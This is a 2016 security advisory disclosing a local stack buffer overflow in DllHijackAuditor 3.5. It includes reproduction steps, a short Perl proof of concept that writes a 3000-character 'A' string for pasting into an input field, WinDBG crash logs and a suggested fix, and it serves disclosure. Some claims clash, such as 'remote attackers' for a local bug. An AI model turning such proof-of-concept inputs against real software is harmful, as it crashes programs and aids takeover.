DLL Hijack Auditor 3.5 Stack Buffer Overflow
Posted on 22 September 2016
i>>?Document Title: =============== DllHijackAuditor 3.5 - Stack Overflow Vulnerability Release Date: ============= 2016-09-10 Common Vulnerability Scoring System: ==================================== 6.1 Product & Service Introduction: =============================== DLL Hijack Auditor is the smart tool to Audit against the Dll Hijacking Vulnerability in any Windows application. This is one of the critical security issue affecting almost all Windows systems. Though most of the apps have been fixed, but still many Windows applications are susceptible to this vulnerability which can allow any attacker to completely take over the system. DllHijackAuditor helps in discovering all such Vulnerable Dlls in a Windows application which otherwise can lead to successful exploitation resulting in total compromise of the system. (Copy of the Homepage: http://securityxploded.com/) Vulnerability Disclosure Timeline: ================================== 2016-09-10: Discovered Vulnerability 2016-09-11: Contact Vendor By Email 2016-09-20: Vendor No Response 2016-09-20: Public Disclosure Affected Product(s): ==================== Product: DllHijackAuditor v3.5 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local stack buffer overflow vulnerability has been discovered in the official DllHijackAuditor v3.5 software. The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers. The stack buffer overflow vulnerability is located in the `Specify Extension Entry` module of the software. Local attackers are able to include unicode as malicious payload to crash software via stack overflow. Thus allows the local attacker to overwrite for example the eip register to take control of the vulnerable software process. The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system. Vulnerable Input(s): [+] Specify Extension - (Entry) Proof of Concept (PoC): ======================= A local stack overflow vulnerability can be exploited by local attackers without user interaction and with privileged system user account. For security demonstration or to reproduce the sofwtare vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch the DllHijackAuditors.exe software process 2. Run the code in perl and a file format (.txt) will create 3. Copy the AAAAAAAAA+... string from DllHijackAuditor.txt to clipboard 4. Paste it to the input Specify Extension AAAAAAAAA+... string and click `Start Audit` to process 5. Software crash permanently by a stack overflow 6. Successfully reproduce of the local stack buffer overflow vulnerability! PoC: Exploit Code (Perl) #!/usr/bin/perl my $Buff = "x41" x 3000; open(MYFILE,'>>DllHijackAuditor.txt'); print MYFILE $Buff; close(MYFILE); print " POC Created by ZwXn"; --- PoC Debug Session Logs [WinDBG] --- Stack buffer overflow - code c0000409 (!!! second chance !!!) eax=00000001 ebx=0059c60c ecx=00000005 edx=773913f0 esi=0766fc7c edi=0014d2c0 eip=00529e5b esp=0766f5b8 ebp=0766f5d0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 DllHijackAuditor+0x129e5b: 00529e5b cd29 int 29h EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff) ExceptionAddress: 00529e5b (DllHijackAuditor+0x00129e5b) ExceptionCode: c0000409 (Stack buffer overflow) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 00000005 FAULTING_THREAD: 00000754 BUGCHECK_STR: STACK_OVERRUN PROCESS_NAME: DllHijackAuditor.exe FAULTING_MODULE: 77300000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 534bb17f ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect la saturation de la m moire tampon dans cette application. Cette saturation pourrait permettre un utilisateur mal intentionn de prendre le contr le de cette application. DEFAULT_BUCKET_ID: WRONG_SYMBOLS LAST_CONTROL_TRANSFER: from 00529e49 to 00529e5b 0:004> d esi 0766fc7c 00 3a 5c 55 73 65 72 73-5c 5a 77 58 5c 41 70 70 .:UserswXApp 0766fc8c 44 61 74 61 5c 4c 6f 63-61 6c 5c 54 65 6d 70 5c DataLocalTemp 0766fc9c 44 6c 6c 48 69 6a 61 63-6b 41 75 64 69 74 5f 41 DllHijackAudit_A 0766fcac 70 70 43 72 61 73 68 56-69 65 77 2e 65 78 65 5f ppCrashView.exe_ 0766fcbc 32 30 30 34 37 33 35 35-33 36 5c 74 65 73 74 2e 2004735536 est. 0766fccc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fcdc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:004> d 0766fcec 0766fcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fcfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd2c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd3c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd4c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0766fd5c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Solution - Fix & Patch: ======================= Restrict the number of characters in the input of the Specify Extension Entry module and allocate the memory. Security Risk: ============== The security risk of the local stack buffer overflow vulnerability in the software is estimated as high. (CVSS 6.1) [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ 0day.today/author/27461 Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)
